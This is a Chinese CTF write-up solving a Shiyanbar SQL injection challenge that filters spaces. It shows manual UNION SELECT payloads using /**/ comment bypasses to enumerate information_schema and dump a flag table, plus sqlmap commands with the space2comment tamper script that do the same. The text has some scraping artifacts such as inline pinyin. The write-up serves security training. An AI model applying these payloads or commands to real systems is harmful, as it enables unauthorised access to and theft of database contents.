本系列文集:實(shí)驗(yàn)吧-Write up --將持續(xù)更新 覺得還不錯(cuò)請(qǐng)給個(gè)喜歡济舆,感謝钝诚!
SQL注入詳細(xì)講解:
DVWA-SQL Injection(SQL注入)
SQL手工注入語(yǔ)句
sqlmap用于sql注入語(yǔ)法
方法一手動(dòng)注入
簡(jiǎn)單的注入測(cè)試:
1 正常
1' 報(bào)錯(cuò)
1' or '1'='1 SQLi detected!
1'or'1'='1 全部數(shù)據(jù)
以上說(shuō)明空格被過(guò)濾掉
1.查詢數(shù)據(jù)庫(kù)中的表(用/**/繞過(guò)空格)
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
圖片.png
發(fā)現(xiàn)flag表
2.查詢flag表中字段名
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
圖片.png
發(fā)現(xiàn)flag字段名
3.最后構(gòu)造出poc
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
圖片.png
方法二sqlmap注入
點(diǎn)擊了解sqlmap詳細(xì)用法:sqlmap用于sql注入語(yǔ)法
1.查詢當(dāng)前數(shù)據(jù)庫(kù)(空格被過(guò)濾可以使用tamper腳本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
圖片.png
發(fā)現(xiàn)web1數(shù)據(jù)庫(kù)
2.查詢數(shù)據(jù)庫(kù)中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --tables -D web1
圖片.png
發(fā)現(xiàn)flag表
3.查詢flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
圖片.png
發(fā)現(xiàn)flag字段
4.查詢字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
圖片.png